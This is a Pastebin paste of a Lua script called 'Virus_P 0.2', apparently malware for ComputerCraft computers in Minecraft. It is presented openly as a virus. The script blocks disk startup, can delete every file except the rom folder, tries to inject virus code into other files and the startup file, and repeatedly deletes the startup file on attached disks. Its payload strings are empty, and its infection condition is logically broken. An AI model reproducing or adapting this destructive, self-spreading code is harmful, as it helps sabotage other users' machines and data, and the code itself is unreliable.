Pit_Anonim

Virus_P 0.2

Oct 22nd, 2016
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.36 KB | None | 0 0
  1. --BY PIT_ANONIM
  2.  
  3. runmode = 2
  4.  
  5. local viruscode =[[
  6. ]]
  7.  
  8. local firststring = 'print("You do not have permission to run this program")'
  9.  
  10. local startupcode = [==[
  11. ]==]
  12.  
  13. local virusname = 'Virus'
  14.  
  15. dir = ""
  16. local FileList = fs.list(dir)
  17.  
  18. local maskmode = 0
  19.  
  20. local mask =[[
  21. ]]
  22.  
  23. settings.set("shell.allow_disk_startup", false)
  24. settings.save(".settings")
  25. local eventone = os.pullEvent()
  26.  
  27. local function mainfunc()
  28.     if runmode == 1 then
  29.         for _,file in ipairs (FileList) do
  30.             if file ~= nil and file ~= "rom" then
  31.                 fs.delete(file)
  32.             end
  33.         end
  34.     elseif runmode == 2 then
  35.         for _,file in ipairs (FileList) do
  36.             if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
  37.                 if file ~= virusname then
  38.                     local nonvirusfile = fs.open(dir ..file, "r")
  39.                     local pr = nonvirusfile.readLine()
  40.                     local text = nonvirusfile.readAll()
  41.                     nonvirusfile.close()
  42.                      
  43.                     if pr ~= firststring and file ~= virusname and file ~= "startup" then
  44.                         local virusfile = fs.open(dir ..file, "w")
  45.                         virusfile.writeLine(viruscode)
  46.                         virusfile.writeLine(text)
  47.                         virusfile.close()
  48.                     end
  49.                    
  50.                 elseif file == virusname then
  51.                     local nonvirusfile = fs.open(dir ..file, "r")
  52.                     local text = nonvirusfile.readAll()
  53.                     nonvirusfile.close()
  54.                    
  55.                     local virusfile = fs.open("startup", "w")
  56.                     virusfile.writeLine(startupcode)
  57.                     virusfile.close()
  58.                 end
  59.             end
  60.         sleep(0)
  61.         end
  62.     end
  63. end
  64.  
  65. function eee()
  66.     while true do
  67.         while side ~= 1 do
  68.             sleep(0)
  69.             if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
  70.                 side = 1
  71.             else
  72.                 side = nil
  73.             end
  74.         end
  75.        
  76.         if side == 1 then
  77.             if fs.exists("disk/startup") then
  78.                 fs.delete("disk/startup")
  79.             end
  80.         end
  81.         sleep(0)
  82.     end
  83. end
  84.  
  85. parallel.waitForAny(mainfunc, eee)
  86.  
  87. if maskmode == 1 then
  88.     assert(loadstring(mask))()
  89. end
Advertisement
Add Comment
Please, Sign In to add comment